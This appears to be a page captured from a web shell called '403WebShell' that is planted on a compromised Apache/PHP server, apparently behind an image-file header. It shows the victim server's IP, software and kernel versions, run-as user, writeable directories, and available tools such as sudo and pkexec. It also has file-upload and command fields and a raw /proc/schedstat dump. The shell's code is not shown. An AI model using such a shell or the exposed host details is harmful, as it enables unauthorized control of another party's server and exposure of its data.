????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.61
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : //proc/schedstat
version 15
timestamp 35722066789
cpu0 2330030325 0 4294735766 1946548841 449153866 2790886674 27858788026540394 278508067090590 12902755947
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000041 273796519 270915530 1436049 297537211 1489470 61247 186700 270728830 282115824 280703640 1152109 56985393 267349 80241 2717 280700923 3217197959 3210272516 3705889 419262710 3314368 58501 47117 3210225399 9213 6 9207 0 0 0 0 0 0 490527274 9378560 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 269355585 208966381 37879949 1636708407 26282984 4518892 37095831 66841096 200625007 180369097 19523394 2656320521 769338 102256 13758642 45742290 3213978405 2779842508 423769174 4014131521 10678683 1095669 1777591172 1002251336 3514813 10480 3504333 0 0 0 0 0 0 1462707147 369936983 0
cpu1 1978225564 0 2233677159 1669812860 1701212282 1183370148 25566461142807521 228668533671092 11470579065
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000082 157412019 154794372 1298138 348497817 1349161 53006 138205 154656167 285438782 283926190 1248166 59019743 271130 102975 2115 283924075 3458606114 3451551802 3791944 461109623 3356095 59137 50607 3451501195 9541 9 9532 0 0 0 0 0 0 482957067 6739244 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 155321218 97914717 37273074 1333991740 23906438 4591011 29741531 16833207 200978950 180301237 19905214 2721860583 811468 105127 14014791 45043586 3455343746 3031452918 415978869 4059814151 8176666 1134210 2131036743 900416175 3547542 16347 3531195 0 0 0 0 0 0 34885067 227510514 0
cpu2 1625784372 0 1020086213 1276197297 1587936748 1203066586 25345240908032706 223670236454914 11003066189
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000104 156344427 154112099 1010890 298574619 1246620 39201 82436 154029665 289814531 288385571 1164350 56228398 270440 87667 1996 288383575 3493967268 3486936593 3732937 452486171 3392618 54609 48684 3486887909 8818 1 8817 0 0 0 0 0 0 494713587 6292786 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 154555353 100341937 36481665 1040760051 21622356 4826701 26292450 16480218 203189788 181805394 20573005 2825757383 853343 112753 14040414 44191338 3490669530 3067425423 415705922 86086713 7770985 1203466 2175865147 891560276 3702205 14664 3687541 0 0 0 0 0 0 4185123871 195771524 0
cpu3 1819600764 0 1906238543 1168789710 3093247733 2406572913 25591441926231512 242868006206419 11801892116
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000208 327103528 325154626 787438 186082051 1192263 46575 60149 325094484 279356349 277844841 1240334 75129132 279865 99952 5424 277839417 3111083426 3103968680 3747937 411862358 3473714 55007 47978 3103920702 9496 6 9490 0 0 0 0 0 0 547362270 11307835 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 320956075 270462567 35016548 834976615 19575764 5192154 33418611 63159055 200932305 179415991 20721371 2767170388 827345 112994 12698541 43733875 3107716617 2660747724 435658834 1535940434 11651340 1312736 1627125325 1033622399 3975586 13020 3962566 0 0 0 0 0 0 139312550 325417197 0
cpu4 2374504647 0 4026537145 1840900373 3861621832 2767259571 27102762861871739 251012181262594 12695670012
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000410 260982723 259317982 580005 138219370 1109919 32525 45675 259272310 281037695 279635882 1134477 59517794 274566 88416 2985 279632897 3150078918 3143097797 3636595 392320536 3447363 48641 49311 3143048486 8952 4 8948 0 0 0 0 0 0 589929550 9177990 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 256540266 208065534 35026998 643202173 17715820 5409883 32487214 64597509 198722038 176929618 20967594 2796836545 862021 118087 12934496 43335774 3146734392 2703584201 432910269 1121111031 10552204 1396903 1712866345 990717856 4138755 8554 4130201 0 0 0 0 0 0 504432711 324398790 0
cpu5 2487090241 0 429729029 2121767990 4289297535 2794476198 27911334405394683 257711108832136 13000273152
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000820 258465804 256576482 787644 257633965 1125972 30854 37836 256538647 287731865 286289531 1163506 62055359 286605 96115 3468 286286063 3239188430 3231549430 3998824 492840110 3751825 63241 55874 3231493556 9062 7 9055 0 0 0 0 0 0 586920835 9594689 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 254070549 206659393 35374590 535920483 16509744 5712453 32207914 69198614 202344638 179977565 21522263 2843183169 881222 120339 12546671 43178753 3235548254 2774098149 450778403 3047354773 10982621 1558117 1736237828 1037860321 4357445 5710 4351735 0 0 0 0 0 0 907900502 371446525 0
cpu6 2857973331 0 2693118045 3817627325 4108952769 562859775 14571702899495926 177049076267469 4607511538
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000041 224813486 220176908 3462633 488518004 1313777 155872 46330 220130576 149099756 146624892 2073246 189121841 415420 82872 5788 146619104 1017985175 1006071799 7989507 1056854367 4065355 75216 444750 1005627049 132876 495 132381 0 0 0 0 0 0 365183124 5253208 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 222940492 191258007 22533458 3314148537 10147115 1604273 15997417 6440402 123459007 123459007 0 0 0 0 0 2 1014061306 648210649 360269030 2714611435 5837290 701767 437213780 210996869 906468 2439 904029 0 0 0 0 0 0 3180909870 28856462 0
cpu7 2816207021 0 2508433739 3757486543 4233782878 469864525 14827672506333021 174932050098903 4524750585
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000082 108185596 106358746 705540 132387380 1143311 31054 27294 106331452 156736213 154537612 1828296 112855224 380389 103029 3978 154533634 989643759 980918865 5098998 630848227 3738139 65759 232867 980685998 16693 26 16667 0 0 0 0 0 0 406784753 4589210 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 106576919 76144061 22068181 3213924531 9385310 1661731 9024415 2120335 129996457 129996457 0 0 0 0 0 0 986017863 611844359 368685015 3961202081 5731592 751375 453262098 158582261 932926 3653 929273 0 0 0 0 0 0 3357133600 24828401 0
cpu8 2897788371 0 2779586976 3869222601 78227087 451766906 14997962065775270 171446658692120 4602591798
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000104 103044596 101419388 535795 113413980 1109527 25160 23977 101395411 159820085 157744690 1706817 103976746 377682 90175 3699 157740991 1017076130 1008575478 4859265 599584863 3756723 63074 180845 1008394633 15288 26 15262 0 0 0 0 0 0 425056396 3993641 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 101597466 72086543 22165678 3147290868 8404469 1713359 10132314 2486504 131817566 131817566 0 0 0 0 0 0 1013434743 635905571 372105721 4294346930 5642094 794536 477605801 158299770 983688 3176 980512 0 0 0 0 0 0 3496371081 22880224 0
cpu9 3164481809 0 3412905245 4094385378 3851005407 409355782 14746865605388800 157608815020718 4743930504
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000208 98889614 94740484 3071829 442689832 1151120 75362 25283 94715198 153290649 150890422 1981825 180920046 439279 99386 6285 150884137 1002509745 990614208 7958950 1004052662 4109352 82888 842018 989772190 63091 343 62748 0 0 0 0 0 0 417044185 3379050 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 97505467 69515084 22027025 3009556795 7027453 1730968 10865218 5487562 126555714 126555714 0 0 0 0 0 0 998573158 615135814 377983158 642812237 5728028 815155 433811472 181324342 1015772 2616 1013156 0 0 0 0 0 0 3024605440 21852166 0
cpu10 3144306237 0 3348402659 4073280533 3757074337 408313282 14809825702579328 154492214875566 4720716717
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000410 98990597 94780829 3167890 430882755 1180401 147103 21226 94759602 153683086 151296451 1983511 192970503 417149 89029 5967 151290484 998043711 985978510 8102766 1088686983 4108617 68267 590565 985387945 132382 558 131824 0 0 0 0 0 0 448584712 3982522 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 97631205 70237913 22158871 2968030443 6334984 1780938 11966323 5238466 126528661 126528661 0 0 0 0 0 0 994081276 610823372 377869785 507808376 5636332 858055 426745323 184078049 1048579 1401 1047178 0 0 0 0 0 0 2900176343 21889022 0
cpu11 3038071625 0 3061516624 3977041276 3782480075 414774125 14661022268400147 158599011897607 4636306667
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000820 104347537 99873555 3375579 493787325 1264420 178563 18981 99854573 154089837 151656629 2016027 199106971 431866 96612 5849 151650780 998520132 985579185 8731558 1219657307 4361368 70127 555737 985023448 159125 169 158956 0 0 0 0 0 0 450170774 4869454 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 102775486 75575355 22571741 2959551365 5781491 1852409 12314212 5470585 128643391 128643391 0 0 0 0 0 0 994310743 597433254 391314889 1873262432 5808210 926435 416747950 180685304 1105451 68 1105383 0 0 0 0 0 0 2917535176 24910569 0

Youez - 2016 - github.com/yon3zu
LinuXploit